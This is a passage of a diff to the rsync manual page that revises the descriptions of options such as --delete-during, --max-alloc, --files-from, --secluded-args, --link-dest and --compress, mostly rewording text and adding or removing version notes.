However, if none\n     of the `--delete-WHEN` options are specified, rsync will choose the\n-    [`--delete-during`](#opt) algorithm when talking to rsync 3.0.0 (March\n-    2008) or newer,\n+    [`--delete-during`](#opt) algorithm when talking to rsync 3.0.0 or newer,\n     or the [`--delete-before`](#opt) algorithm when talking to an older rsync.\n     See also [`--delete-delay`](#opt) and [`--delete-after`](#opt).\n \n@@ -2199,8 +1948,8 @@ sign) if you want the local shell to expand it.\n     as the transfer happens.  The per-directory delete scan is done right\n     before each directory is checked for updates, so it behaves like a more\n     efficient [`--delete-before`](#opt), including doing the deletions prior to\n-    any per-directory filter files being updated.\n-    See [`--delete`](#opt) (which is implied) for more\n+    any per-directory filter files being updated.  This option was first added\n+    in rsync version 2.6.4.  See [`--delete`](#opt) (which is implied) for more\n     details on file-deletion.\n \n 0.  `--delete-delay`\n@@ -2209,9 +1958,9 @@ sign) if you want the local shell to expand it.\n     the transfer (like [`--delete-during`](#opt)), and then removed after the\n     transfer completes.  This is useful when combined with\n     [`--delay-updates`](#opt) and/or [`--fuzzy`](#opt), and is more efficient\n-    than using [`--delete-after`](#opt), but can behave differently, since\n+    than using [`--delete-after`](#opt) (but can behave differently, since\n     [`--delete-after`](#opt) computes the deletions in a separate pass after\n-    all updates are done.  If the number of removed files overflows an\n+    all updates are done).  If the number of removed files overflows an\n     internal buffer, a temporary file will be created on the receiving side to\n     hold the names (it is removed while open, so you shouldn't see it during\n     the transfer).  If the creation of the temporary file fails, rsync will try\n@@ -2267,7 +2016,7 @@ sign) if you want the local shell to expand it.\n 0.  `--delete-missing-args`\n \n     This option takes the behavior of the (implied)\n-    [`--ignore-missing-args`](#opt) option a step farther: each missing argument\n+    [`--ignore-missing-args`](#opt) option a step farther: each missing arg\n     will become a deletion request of the corresponding destination file on the\n     receiving side (should it exist).  If the destination file is a non-empty\n     directory, it will only be successfully deleted if [`--force`](#opt) or\n@@ -2288,6 +2037,10 @@ sign) if you want the local shell to expand it.\n     replaced by a non-directory.  This is only relevant if deletions are not\n     active (see [`--delete`](#opt) for details).\n \n+    Note for older rsync versions: `--force` used to still be required when\n+    using [`--delete-after`](#opt), and it used to be non-functional unless the\n+    [`--recursive`](#opt) option was also enabled.\n+\n 0.  `--max-delete=NUM`\n \n     This tells rsync not to delete more than NUM files or directories.  If that\n@@ -2296,19 +2049,19 @@ sign) if you want the local shell to expand it.\n     skipped deletions) and exits with an error code of 25 (unless some more\n     important error condition also occurred).\n \n-    You may specify `--max-delete=0` to be warned\n+    Beginning with version 3.0.0, you may specify `--max-delete=0` to be warned\n     about any extraneous files in the destination without removing any of them.\n-    CAUTION: a client rsync older than 3.0.0 (March 2008) treats\n-    `--max-delete=0` as unlimited, so use `--max-delete=-1` if the command\n-    might be run by such an old rsync.  (A 3.0.0 or newer client protects an\n-    older remote by forwarding the option as `--max-delete=-1`.)\n+    Older clients interpreted this as \"unlimited\", so if you don't know what\n+    version the client is, you can use the less obvious `--max-delete=-1` as a\n+    backward-compatible way to specify that no deletions be allowed (though\n+    really old versions didn't warn when the limit was exceeded).\n \n 0.  `--max-size=SIZE`\n \n     This tells rsync to avoid transferring any file that is larger than the\n     specified SIZE.  A numeric value can be suffixed with a string to indicate\n-    the numeric units or left unqualified to specify bytes, and the numeric\n-    value can have a fractional part, such as `--max-size=1.5m`.\n+    the numeric units or left unqualified to specify bytes.  Feel free to use a\n+    fractional value along with the units, such as `--max-size=1.5m`.\n \n     This option is a [TRANSFER RULE](#TRANSFER_RULES), so don't expect any\n     exclude side effects.\n@@ -2327,12 +2080,16 @@ sign) if you want the local shell to expand it.\n     Examples: `--max-size=1.5mb-1` is 1499999 bytes, and `--max-size=2g+1` is\n     2147483649 bytes.\n \n+    Note that rsync versions prior to 3.1.0 did not allow `--max-size=0`.\n+\n 0.  `--min-size=SIZE`\n \n     This tells rsync to avoid transferring any file that is smaller than the\n     specified SIZE, which can help in not transferring small, junk files.  See\n     the [`--max-size`](#opt) option for a description of SIZE and other info.\n \n+    Note that rsync versions prior to 3.1.0 did not allow `--min-size=0`.\n+\n 0.  `--max-alloc=SIZE`\n \n     By default rsync limits an individual malloc/realloc to about 1GB in size.\n@@ -2340,7 +2097,7 @@ sign) if you want the local shell to expand it.\n     causing rsync to request massive amounts of memory.  However, if you have\n     many millions of files in a transfer, a large amount of server memory, and\n     you don't want to split up your transfer into multiple parts, you can\n-    increase the per-allocation limit to something larger, allowing rsync to\n+    increase the per-allocation limit to something larger and rsync will\n     consume more memory.\n \n     Keep in mind that this is not a limit on the total size of allocated\n@@ -2349,22 +2106,8 @@ sign) if you want the local shell to expand it.\n     See the [`--max-size`](#opt) option for a description of how SIZE can be\n     specified.  The default suffix if none is given is bytes.\n \n-    A value of 0 is an easy way to say \"the largest limit this build supports\".\n-    It resolves to the same ceiling an explicit SIZE is checked against, so it\n-    is never a higher limit than one you could have typed out yourself.\n-\n-    Because the option is passed to the remote rsync as you wrote it, each side\n-    resolves a 0 against its own maximum.  That makes 0 the only spelling that\n-    is correct for both ends of a transfer between hosts of different word\n-    sizes: a literal value large enough to be useful on a 64-bit client is\n-    rejected as too large by a 32-bit daemon.\n-\n-    A value of 0 was accepted beginning in 3.2.3 and rejected in 3.5.0; the\n-    release after 3.5.0 accepts it again.\n-\n-    A daemon administrator who does not want clients to change the configured\n-    allocation ceiling can set `refuse options = max-alloc` in the module's\n-    `rsyncd.conf`.  This refuses every client-supplied value, including 0.\n+    Beginning in 3.2.7, a value of 0 is an easy way to specify SIZE_MAX (the\n+    largest limit possible).\n \n     You can set a default value using the environment variable\n     [`RSYNC_MAX_ALLOC`](#) using the same SIZE values as supported by this\n@@ -2379,14 +2122,15 @@ sign) if you want the local shell to expand it.\n     fixed value.  It is normally selected based on the size of each file being\n     updated.  See the technical report for details.\n \n-    The SIZE can be specified with a suffix as detailed in\n-    the [`--max-size`](#opt) option.\n+    Beginning in 3.2.3 the SIZE can be specified with a suffix as detailed in\n+    the [`--max-size`](#opt) option.  Older versions only accepted a byte count.\n \n 0.  `--rsh=COMMAND`, `-e`\n \n     This option allows you to choose an alternative remote shell program to use\n     for communication between the local and remote copies of rsync.  Typically,\n-    rsync is configured to use ssh by default.\n+    rsync is configured to use ssh by default, but you may prefer to use rsh on\n+    a local network.\n \n     If this option is used with `[user@]host::module/path`, then the remote\n     shell _COMMAND_ will be used to run an rsync daemon on the remote host, and\n@@ -2395,19 +2139,18 @@ sign) if you want the local shell to expand it.\n     remote host.  See the [USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL\n     CONNECTION](#) section above.\n \n-    The [`RSYNC_PORT`](#) environment variable will\n+    Beginning with rsync 3.2.0, the [`RSYNC_PORT`](#) environment variable will\n     be set when a daemon connection is being made via a remote-shell\n     connection.  It is set to 0 if the default daemon port is being assumed, or\n     it is set to the value of the rsync port that was specified via either the\n-    [`--port`](#opt) option or a non-empty port value in an `rsync://` URL (for\n-    example `rsync://host.example.com:984`).  This is useful if the program\n-    being run is not actually rsync but rather something such as an SSL or\n-    stunnel helper script; the script can use `RSYNC_PORT` to determine whether\n-    it should connect to a default or alternate port.\n+    [`--port`](#opt) option or a non-empty port value in an `rsync://` URL.\n+    This allows the script to discern if a non-default port is being requested,\n+    allowing for things such as an SSL or stunnel helper script to connect to a\n+    default or alternate port.\n \n     Command-line arguments are permitted in COMMAND provided that COMMAND is\n     presented to rsync as a single argument.  You must use spaces (not tabs or\n-    other whitespace) to separate the command and arguments from each other, and you\n+    other whitespace) to separate the command and args from each other, and you\n     can use single- and/or double-quotes to preserve spaces in an argument (but\n     not backslashes).  Note that doubling a single-quote inside a single-quoted\n     string gives you a single-quote; likewise for double-quotes (though you\n@@ -2461,14 +2204,14 @@ sign) if you want the local shell to expand it.\n \n     Note that you should use a separate `-M` option for each remote option you\n     want to pass.  On older rsync versions, the presence of any spaces in the\n-    remote-option argument could cause it to be split into separate remote arguments, but\n+    remote-option arg could cause it to be split into separate remote args, but\n     this requires the use of [`--old-args`](#opt) in a modern rsync.\n \n     When performing a local transfer, the \"local\" side is the sender and the\n     \"remote\" side is the receiver.\n \n     Note some versions of the popt option-parsing library have a bug in them\n-    that prevents you from using an adjacent argument with an equal in it next to a\n+    that prevents you from using an adjacent arg with an equal in it next to a\n     short option letter (e.g. `-M--log-file=/tmp/foo`).  If this bug affects\n     your version of popt, you can use the version of popt that is included with\n     rsync.\n@@ -2552,8 +2295,8 @@ sign) if you want the local shell to expand it.\n     You may use as many `--filter` options on the command line as you like to\n     build up the list of files to exclude.  If the filter contains whitespace,\n     be sure to quote it so that the shell gives the rule to rsync as a single\n-    argument.  You can use an underscore instead of a space to separate a rule\n-    from its argument.\n+    argument.  The text below also mentions that you can use an underscore to\n+    replace the space that separates a rule from its arg.\n \n     See the [FILTER RULES](#) section for detailed information on this option.\n \n@@ -2626,8 +2369,8 @@ sign) if you want the local shell to expand it.\n \n 0.  `--files-from=FILE`\n \n-    Using this option tells rsync to read the exact list of files to transfer\n-    from FILE (or standard input if FILE is '`-`').  It also\n+    Using this option allows you to specify the exact list of files to transfer\n+    (as read from the specified FILE or '`-`' for standard input).  It also\n     tweaks the default behavior of rsync to make transferring just the\n     specified files and directories easier:\n \n@@ -2644,28 +2387,18 @@ sign) if you want the local shell to expand it.\n       options are parsed (e.g. [`-a`](#opt) works the same before or after\n       `--files-from`, as does `--no-R` and all other options).\n \n-    Listing individual files with `--files-from` does not make unlisted\n-    siblings eligible for deletion.  The [`--delete`](#opt) option only removes\n-    entries from directories whose complete contents are being synchronised,\n-    so list the directory itself and enable recursion if that deletion scope is\n-    intended.\n-\n     The filenames that are read from the FILE are all relative to the source\n-    directory: any leading slash is removed, and \"..\" components are resolved away so\n-    an entry cannot rise above the source directory -- e.g. \"../foo\" is taken as \"foo\"\n-    within the source directory.  An entry that still contains an active \"..\" after\n-    that resolution (one that cannot be collapsed) is rejected with an error.\n-    Blank entries are ignored, as are whole-entry comments that start with '`;`'\n-    or '`#`'.  For example, take this command:\n+    dir -- any leading slashes are removed and no \"..\" references are allowed\n+    to go higher than the source dir.  For example, take this command:\n \n     >     rsync -a --files-from=/tmp/foo /usr remote:/backup\n \n     If /tmp/foo contains the string \"bin\" (or even \"/bin\"), the /usr/bin\n     directory will be created as /backup/bin on the remote host.  If it\n     contains \"bin/\" (note the trailing slash), the immediate contents of the\n-    directory would also be sent, without needing to be explicitly mentioned in\n-    the file.  In both cases, if the\n-    [`-r`](#opt) option was enabled, that directory's entire hierarchy would also be\n+    directory would also be sent (without needing to be explicitly mentioned in\n+    the file -- this began in version 2.6.4).  In both cases, if the\n+    [`-r`](#opt) option was enabled, that dir's entire hierarchy would also be\n     transferred (keep in mind that [`-r`](#opt) needs to be specified\n     explicitly with `--files-from`, since it is not implied by [`-a`](#opt).\n     Also note that the effect of the (enabled by default) [`-r`](#opt) option\n@@ -2697,7 +2430,7 @@ sign) if you want the local shell to expand it.\n \n 0.  `--from0`, `-0`\n \n-    This tells rsync that the rules or filenames it reads from a file are\n+    This tells rsync that the rules/filenames it reads from a file are\n     terminated by a null ('\\\\0') character, not a NL, CR, or CR+LF.  This\n     affects [`--exclude-from`](#opt), [`--include-from`](#opt),\n     [`--files-from`](#opt), and any merged files specified in a\n@@ -2706,18 +2439,18 @@ sign) if you want the local shell to expand it.\n \n 0. `--old-args`\n \n-    This option tells rsync not to protect the argument values sent to the\n+    This option tells rsync to stop trying to protect the arg values on the\n     remote side from unintended word-splitting or other misinterpretation.\n-    It also allows the client to treat an empty argument as a \".\" instead of\n+    It also allows the client to treat an empty arg as a \".\" instead of\n     generating an error.\n \n     The default in a modern rsync is for \"shell-active\" characters (including\n-    spaces) to be backslash-escaped in the arguments that are sent to the remote\n+    spaces) to be backslash-escaped in the args that are sent to the remote\n     shell.  The wildcard characters `*`, `?`, `[`, & `]` are not escaped in\n-    filename arguments (allowing them to expand into multiple filenames) while being\n-    protected in option arguments, such as [`--usermap`](#opt).\n+    filename args (allowing them to expand into multiple filenames) while being\n+    protected in option args, such as [`--usermap`](#opt).\n \n-    If you have a script that wants to use old-style argument splitting in its\n+    If you have a script that wants to use old-style arg splitting in its\n     filenames, specify this option once.  If the remote shell has a problem\n     with any backslash escapes at all, specify this option twice.\n \n@@ -2728,35 +2461,35 @@ sign) if you want the local shell to expand it.\n     behavior.  The environment is always overridden by manually specified\n     positive or negative options (the negative is `--no-old-args`).\n \n-    Note that this option also disables the extra safety check\n+    Note that this option also disables the extra safety check added in 3.2.5\n     that ensures that a remote sender isn't including extra top-level items in\n     the file-list that you didn't request.  This side-effect is necessary\n     because we can't know for sure what names to expect when the remote shell\n-    is interpreting the arguments.\n+    is interpreting the args.\n \n     This option conflicts with the [`--secluded-args`](#opt) option.\n \n 0.  `--secluded-args`, `-s`\n \n     This option sends all filenames and most options to the remote rsync via\n-    the protocol (rather than via the remote shell command line), which avoids\n-    the possibility of the remote shell modifying them.\n-    Wildcards are expanded on the remote host by rsync instead of a shell.\n+    the protocol (not the remote shell command line) which avoids letting the\n+    remote shell modify them.  Wildcards are expanded on the remote host by\n+    rsync instead of a shell.\n+\n+    This is similar to the default backslash-escaping of args that was added\n+    in 3.2.4 (see [`--old-args`](#opt)) in that it prevents things like space\n+    splitting and unwanted special-character side-effects. However, it has the\n+    drawbacks of being incompatible with older rsync versions (prior to 3.0.0)\n+    and of being refused by restricted shells that want to be able to inspect\n+    all the option values for safety.\n \n-    Without this option, rsync does backslash-escaping of arguments to prevent\n-    things like space splitting and unwanted special-character side-effects,\n-    which is normally sufficient to avoid unwanted modifications by the shell.\n     This option is useful for those times that you need the argument's\n     character set to be converted for the remote host, if the remote shell is\n-    incompatible with the default backslash-escaping method, or there is some\n+    incompatible with the default backslash-escpaing method, or there is some\n     other reason that you want the majority of the options and arguments to\n     bypass the command-line of the remote shell.\n \n-    This option is incompatible with remote rsync versions prior to 3.0.0\n-    (March 2008).  It also has the drawback of being refused by restricted\n-    shells that want to be able to inspect all the option values for safety.\n-\n-    If you combine this option with [`--iconv`](#opt), the arguments related to the\n+    If you combine this option with [`--iconv`](#opt), the args related to the\n     remote side will be translated from the local to the remote character-set.\n     The translation happens before wild-cards are expanded.  See also the\n     [`--files-from`](#opt) option.\n@@ -2767,12 +2500,11 @@ sign) if you want the local shell to expand it.\n     is overridden by a manually specified positive or negative version of this\n     option (note that `--no-s` and `--no-secluded-args` are the negative\n     versions).  This environment variable is also superseded by a non-zero\n-    [`RSYNC_OLD_ARGS`](#) environment variable.\n+    [`RSYNC_OLD_ARGS`](#) export.\n \n     This option conflicts with the [`--old-args`](#opt) option.\n \n-    This option used to be called `--protect-args` (before 3.2.6, September\n-    2022) and that\n+    This option used to be called `--protect-args` (before 3.2.6) and that\n     older name can still be used (though specifying it as `-s` is always the\n     easiest and most compatible choice).\n \n@@ -2784,10 +2516,10 @@ sign) if you want the local shell to expand it.\n     file list (something that could possibly be done via a modified rsync, a\n     modified shell, or some other similar manipulation).\n \n-    Normally, the rsync client runs two extra validation\n+    Normally, the rsync client (as of version 3.2.5) runs two extra validation\n     checks when pulling files from a remote rsync:\n \n-    - It verifies that additional argument items didn't get added at the top of the\n+    - It verifies that additional arg items didn't get added at the top of the\n       transfer.\n     - It verifies that none of the items in the file list are names that should\n       have been excluded (if filter rules were specified).\n@@ -2798,19 +2530,19 @@ sign) if you want the local shell to expand it.\n     - Using a per-directory filter file reads filter rules that only the server\n       knows about, so the filter checking is disabled.\n     - Using the [`--old-args`](#opt) option allows the sender to manipulate the\n-      requested arguments, so the argument checking is disabled.\n+      requested args, so the arg checking is disabled.\n     - Reading the files-from list from the server side means that the client\n-      doesn't know the argument list, so the argument checking is disabled.\n+      doesn't know the arg list, so the arg checking is disabled.\n     - Using [`--read-batch`](#opt) disables both checks since the batch file's\n       contents will have been verified when it was created.\n \n     This option may help an under-powered client server if the extra pattern\n-    matching is slowing things down on a huge transfer.  It could also be used\n-    for a transfer from a trusted sender as a workaround if there appeared to\n-    be a bug in the verification logic.\n+    matching is slowing things down on a huge transfer.  It can also be used to\n+    work around a currently-unknown bug in the verification logic for a transfer\n+    from a trusted sender.\n \n     When using this option it is a good idea to specify a dedicated destination\n-    directory, as discussed in the [SECURITY](#) section.\n+    directory, as discussed in the [MULTI-HOST SECURITY](#) section.\n \n 0.  `--copy-as=USER[:GROUP]`\n \n@@ -2819,9 +2551,8 @@ sign) if you want the local shell to expand it.\n     is running rsync has the ability to change users.  If the group is not\n     specified then the user's default groups are used.\n \n-    This option can help to reduce the risk in the case where rsync is being\n-    run as root, copying into or out of a directory that might have live\n-    changes happening to it, and you\n+    This option can help to reduce the risk of an rsync being run as root into\n+    or out of a directory that might have live changes happening to it and you\n     want to make sure that root-level read or write actions of system files are\n     not possible.  While you could alternatively run all of rsync as the\n     specified user, sometimes you need the root-level host-access credentials\n@@ -2836,7 +2567,7 @@ sign) if you want the local shell to expand it.\n     \"localhost:\" or \"lh:\" host-spec to be specified without needing to setup\n     any remote shells, allowing you to specify remote options that affect the\n     side of the transfer that is using the host-spec (and using hostname \"lh\"\n-    avoids the overriding of the remote directory to the user's home directory).\n+    avoids the overriding of the remote directory to the user's home dir).\n \n     For example, the following rsync writes the local files as user \"joe\":\n \n@@ -2847,8 +2578,8 @@ sign) if you want the local shell to expand it.\n     a timed exploit of the path to induce a change to a file that the joe user\n     has no permissions to change.\n \n-    The following command does a local copy into the \"dest/\" directory as user \"joe\"\n-    (assuming you've installed support/lsh into a directory on your $PATH):\n+    The following command does a local copy into the \"dest/\" dir as user \"joe\"\n+    (assuming you've installed support/lsh into a dir on your $PATH):\n \n     >     sudo rsync -aive lsh -M--copy-as=joe src/ lh:dest/\n \n@@ -2857,9 +2588,9 @@ sign) if you want the local shell to expand it.\n     This option instructs rsync to use DIR as a scratch directory when creating\n     temporary copies of the files transferred on the receiving side.  The\n     default behavior is to create each temporary file in the same directory as\n-    the associated destination file.  The temp-file\n-    names inside the specified DIR will not be prefixed with an extra dot,\n-    though they will still have a random suffix added.\n+    the associated destination file.  Beginning with rsync 3.1.1, the temp-file\n+    names inside the specified DIR will not be prefixed with an extra dot\n+    (though they will still have a random suffix added).\n \n     This option is most often used when the receiving disk partition does not\n     have enough free space to hold a copy of the largest file in the transfer.\n@@ -2868,7 +2599,9 @@ sign) if you want the local shell to expand it.\n     over the top of the associated destination file, but instead must copy it\n     into place.  Rsync does this by copying the file over the top of the\n     destination file, which means that the destination file will contain\n-    truncated data during this copy.  If this were not done this way,\n+    truncated data during this copy.  If this were not done this way (even if\n+    the destination file were first removed, the data locally copied to a\n+    temporary file in the destination directory, and then renamed into place)\n     it would be possible for the old file to continue taking up disk space (if\n     someone had it open), and thus there might not be enough room to fit the\n     new version on the disk at the same time.\n@@ -2881,7 +2614,7 @@ sign) if you want the local shell to expand it.\n     destination partition, another way to tell rsync that you aren't overly\n     concerned about disk space is to use the [`--partial-dir`](#opt) option\n     with a relative path; because this tells rsync that it is OK to stash off a\n-    copy of a single file in a subdirectory in the destination hierarchy, rsync will\n+    copy of a single file in a subdir in the destination hierarchy, rsync will\n     use the partial-dir as a staging area to bring over the copied file, and\n     then rename it into place from there. (Specifying a [`--partial-dir`](#opt)\n     with an absolute path does not have this side-effect.)\n@@ -2889,7 +2622,7 @@ sign) if you want the local shell to expand it.\n 0.  `--fuzzy`, `-y`\n \n     This option tells rsync that it should look for a basis file for any\n-    destination file that is missing.  With this option, rsync looks in the same\n+    destination file that is missing.  The current algorithm looks in the same\n     directory as the destination file for either a file that has an identical\n     size and modified-time, or a similarly-named file.  If found, rsync uses\n     the fuzzy basis file to try to speed up the transfer.\n@@ -2913,7 +2646,7 @@ sign) if you want the local shell to expand it.\n     option is typically used to copy into an empty (or newly created)\n     directory.\n \n-    Multiple `--compare-dest` directories may be\n+    Beginning in version 2.6.4, multiple `--compare-dest` directories may be\n     provided, which will cause rsync to search the list in the order specified\n     for an exact match.  If a match is found that differs only in attributes, a\n     local copy is made and the attributes updated.  If a match is not found, a\n@@ -2923,10 +2656,10 @@ sign) if you want the local shell to expand it.\n     If _DIR_ is a relative path, it is relative to the destination directory.\n     See also [`--copy-dest`](#opt) and [`--link-dest`](#opt).\n \n-    NOTE: rsync will remove a file from a\n+    NOTE: beginning with version 3.1.0, rsync will remove a file from a\n     non-empty destination hierarchy if an exact match is found in one of the\n-    compare-dest hierarchies, making the end result more closely match a fresh\n-    copy.\n+    compare-dest hierarchies (making the end result more closely match a fresh\n+    copy).\n \n 0.  `--copy-dest=DIR`\n \n@@ -2959,34 +2692,17 @@ sign) if you want the local shell to expand it.\n     with generic ownership (such as OS X's \"Ignore ownership on this volume\"\n     option).\n \n-    Multiple `--link-dest` directories may be\n+    Beginning in version 2.6.4, multiple `--link-dest` directories may be\n     provided, which will cause rsync to search the list in the order specified\n     for an exact match (there is a limit of 20 such directories).  If a match\n     is found that differs only in attributes, a local copy is made and the\n     attributes updated.  If a match is not found, a basis file from one of the\n     _DIRs_ will be selected to try to speed up the transfer.\n \n-    Not every filesystem can hard-link a symlink, a device node, a FIFO or a\n-    socket, and the destination need not agree with the one rsync was built on\n-    -- macOS builds on APFS, which can, and may write to HFS+, which cannot.\n-    Where the destination refuses to link such an entry, it is copied instead\n-    and the transfer carries on, so only that entry loses the space saving.\n-    This applies to any refusal, because the error alone does not identify one:\n-    link(2) reports `EPERM` both for a filesystem without hard links and for an\n-    ordinary permission refusal.  Regular files have always behaved this way.\n-\n-    One case is not covered.  With [`--hard-links`](#opt) (`-H`), a group of\n-    such entries hard-linked to *each other* in the source needs a second link,\n-    from the first member to the rest, inside the destination itself.  Where\n-    that link is refused too -- a destination that cannot hard-link the type at\n-    all -- the members after the first are not created and the transfer fails.\n-    A `--link-dest` on another filesystem is fine: only the link to _DIR_ is\n-    impossible there, and the ones within the destination still succeed.\n-\n     This option works best when copying into an empty destination hierarchy, as\n     existing files may get their attributes tweaked, and that can affect\n     alternate destination files via hard-links.  Also, itemizing of changes can\n-    get a bit muddled.  Note that prior to version 3.1.0 (September 2013), an\n+    get a bit muddled.  Note that prior to version 3.1.0, an\n     alternate-directory exact match would never be found (nor linked into the\n     destination) when a destination file already exists.\n \n@@ -2998,11 +2714,11 @@ sign) if you want the local shell to expand it.\n     If _DIR_ is a relative path, it is relative to the destination directory.\n     See also [`--compare-dest`](#opt) and [`--copy-dest`](#opt).\n \n-    Note that rsync versions prior to 2.6.1 (April 2004) had a bug that could prevent\n+    Note that rsync versions prior to 2.6.1 had a bug that could prevent\n     `--link-dest` from working properly for a non-super-user when\n     [`--owner`](#opt) (`-o`) was specified (or implied).  You can work-around\n-    this bug by avoiding the `-o` option (or using `--no-o`) when sending to a\n-    really old remote rsync.\n+    this bug by avoiding the `-o` option (or using `--no-o`) when sending to an\n+    old rsync.\n \n 0.  `--compress`, `-z`\n \n@@ -3017,11 +2733,9 @@ sign) if you want the local shell to expand it.\n     Run `rsync --version` to see the default compress list compiled into your\n     version.\n \n-    When both sides of the transfer are at least 3.2.0 (June 2020),\n-    each side chooses its own\n-    most-preferred algorithm that also appears in the peer's list.  Both sides\n-    order their lists strongest-first, so they converge on the strongest mutual\n-    choice.  If no common compress choice is found, rsync exits with\n+    When both sides of the transfer are at least 3.2.0, rsync chooses the first\n+    algorithm in the client's list of choices that is also in the server's list\n+    of choices.  If no common compress choice is found, rsync exits with\n     an error.  If the remote rsync is too old to support checksum negotiation,\n     its list is assumed to be \"zlib\".\n \n@@ -3071,7 +2785,7 @@ sign) if you want the local shell to expand it.\n 0.  `--compress-level=NUM`, `--zl=NUM`\n \n     Explicitly set the compression level to use (see [`--compress`](#opt),\n-    `-z`) instead of using the default.  The [`--compress`](#opt) option is\n+    `-z`) instead of letting it default.  The [`--compress`](#opt) option is\n     implied as long as the level chosen is not a \"don't compress\" level for the\n     compression algorithm that is in effect (e.g. zlib compression treats level\n     0 as \"off\").\n@@ -3103,29 +2817,13 @@ sign) if you want the local shell to expand it.\n     report something like \"`Client compress: zstd (level 3)`\" (along with the\n     checksum choice in effect).\n \n-0.  `--compress-threads=NUM`, `--zt=NUM`\n-\n-    Set the number of threads to spawn when compressing data. Setting this \n-    option to 1 or more will instruct the compression library to spawn 1 or \n-    more threads for compression. Ideally, increasing the number of threads \n-    will increase transfer speed if the transfer is CPU bound on the sender.\n-    \n-    This option does not affect decompression. \n-\n-    Compression algorithms that allow threading:\n-\n-    - `zstd` (only when libzstd is compiled with threading support)\n-\n-    This option is ignored if one of the above alogithms is not selected as the\n-     `--compression-choice` or if compression not enabled.\n-\n 0.  `--skip-compress=LIST`\n \n     **NOTE:** no compression method currently supports per-file compression\n     changes, so this option has no effect.\n \n     Override the list of file suffixes that will be compressed as little as\n-    possible.  Rsync can set the compression level on a per-file basis based on\n+    possible.  Rsync sets the compression level on a per-file basis based on\n     the file's suffix.  If the compression algorithm has an \"off\" level, then\n     no compression occurs for those files.  Other algorithms that support\n     changing the streaming level on-the-fly will have the level minimized to\n@@ -3301,10 +2999,6 @@ sign) if you want the local shell to expand it.\n \n     >     --usermap=:nobody --groupmap=*:nobody\n \n-    An empty **FROM** value matches only sender-side IDs that have no name.  It\n-    is not a wildcard for named users or groups; use \"`*`\" when you want to map\n-    every sender-side name.\n-\n     When the [`--numeric-ids`](#opt) option is used, the sender does not send any\n     names, so all the IDs are treated as having an empty name.  This means that\n     you will need to specify numeric **FROM** values if you want to map these\n@@ -3315,8 +3009,8 @@ sign) if you want the local shell to expand it.\n     options).  For the `--groupmap` option to work, the receiver will need to\n     have permissions to set that group.\n \n-    The `--usermap` option implies the\n-    [`--owner`](#opt) (`-o`) option, and the `--groupmap` option implies the\n+    Starting with rsync 3.2.4, the `--usermap` option implies the\n+    [`--owner`](#opt) (`-o`) option while the `--groupmap` option implies the\n     [`--group`](#opt) (`-g`) option (since rsync needs to have those options\n     enabled for the mapping options to work).\n \n@@ -3327,7 +3021,7 @@ sign) if you want the local shell to expand it.\n \n     This option forces all files to be owned by USER with group GROUP.  This is\n     a simpler interface than using [`--usermap`](#opt) & [`--groupmap`](#opt)\n-    directly, but it is implemented using those options internally, thus they\n+    directly, but it is implemented using those options internally so they\n     cannot be mixed.  If either the USER or GROUP is empty, no mapping for the\n     omitted user/group will occur.  If GROUP is empty, the trailing colon may\n     be omitted, but if USER is empty, a leading colon must be supplied.\n@@ -3401,8 +3095,8 @@ sign) if you want the local shell to expand it.\n     file, including attribute changes.  This is exactly the same as specifying\n     [`--out-format='%i %n%L'`](#opt).  If you repeat the option, unchanged\n     files will also be output, but only if the receiving rsync is at least\n-    version 2.6.7 (March 2006). You can use `-vv` with older versions of rsync,\n-    but that also turns on the output of other verbose messages.\n+    version 2.6.7 (you can use `-vv` with older versions of rsync, but that\n+    also turns on the output of other verbose messages).\n \n     The \"%i\" escape has a cryptic output that is 11 letters long.  The general\n     format is like the string `YXcstpoguax`, where **Y** is replaced by the type\n@@ -3441,7 +3135,7 @@ sign) if you want the local shell to expand it.\n     - A `c` means either that a regular file has a different checksum (requires\n       [`--checksum`](#opt)) or that a symlink, device, or special file has a\n       changed value.  Note that if you are sending files to an rsync prior to\n-      3.0.1 (April 2008), this change flag will be present only for checksum-differing\n+      3.0.1, this change flag will be present only for checksum-differing\n       regular files.\n     - A `s` means the size of a regular file is different and will be updated\n       by the file transfer.\n@@ -3450,7 +3144,9 @@ sign) if you want the local shell to expand it.\n       `T` means that the modification time will be set to the transfer time,\n       which happens when a file/symlink/device is updated without\n       [`--times`](#opt) and when a symlink is changed and the receiver can't\n-      set its time.\n+      set its time. (Note: when using an rsync 3.0.0 client, you might see the\n+      `s` flag combined with `t` instead of the proper `T` flag for this\n+      time-setting failure.)\n     - A `p` means the permissions are different and are being updated to the\n       sender's value (requires [`--perms`](#opt)).\n     - An `o` means the owner is different and is being updated to the sender's\n@@ -3463,8 +3159,8 @@ sign) if you want the local shell to expand it.\n       - `n` means the create time (newness) is different and is being updated\n \tto the sender's value (requires [`--crtimes`](#opt))\n       - `b` means that both the access and create times are being updated\n-    - An `a` means that the ACL information is being changed.\n-    - An `x` means that the extended attribute information is being changed.\n+    - The `a` means that the ACL information is being changed.\n+    - The `x` means that the extended attribute information is being changed.\n \n     One other output is possible: when deleting files, the \"%i\" will output the\n     string \"`*deleting`\" for each item that is being removed (assuming that you\n@@ -3483,7 +3179,7 @@ sign) if you want the local shell to expand it.\n     format`](rsyncd.conf.5#log_format) setting in the rsyncd.conf manpage.\n \n     Specifying the `--out-format` option implies the [`--info=name`](#opt)\n-    option, which will mention each file, directory, etc. that gets updated in a\n+    option, which will mention each file, dir, etc. that gets updated in a\n     significant way (a transferred file, a recreated symlink/device, or a\n     touched directory).  In addition, if the itemize-changes escape (%i) is\n     included in the string (e.g. if the [`--itemize-changes`](#opt) option was\n@@ -3500,7 +3196,7 @@ sign) if you want the local shell to expand it.\n \n 0.  `--log-file=FILE`\n \n-    This option causes rsync to write the log of what it is doing to a file.  This is\n+    This option causes rsync to log what it is doing to a file.  This is\n     similar to the logging that a daemon does, but can be requested for the\n     client side and/or the server side of a non-daemon transfer.  If specified\n     as a client option, transfer logging will be enabled with a default format\n@@ -3547,7 +3243,7 @@ sign) if you want the local shell to expand it.\n       followed by a list of counts by filetype (if the total is non-zero).  For\n       example: \"(reg: 5, dir: 3, link: 2, dev: 1, special: 1)\" lists the totals\n       for regular files, directories, symlinks, devices, and special files.  If\n-      any value is 0, it is completely omitted from the list.\n+      any of value is 0, it is completely omitted from the list.\n     - `Number of created files` is the count of how many \"files\" (generic\n       sense) were created (as opposed to updated).  The total count will be\n       followed by a list of counts by filetype (if the total is non-zero).\n@@ -3555,23 +3251,17 @@ sign) if you want the local shell to expand it.\n       sense) were deleted.  The total count will be\n       followed by a list of counts by filetype (if the total is non-zero).\n       Note 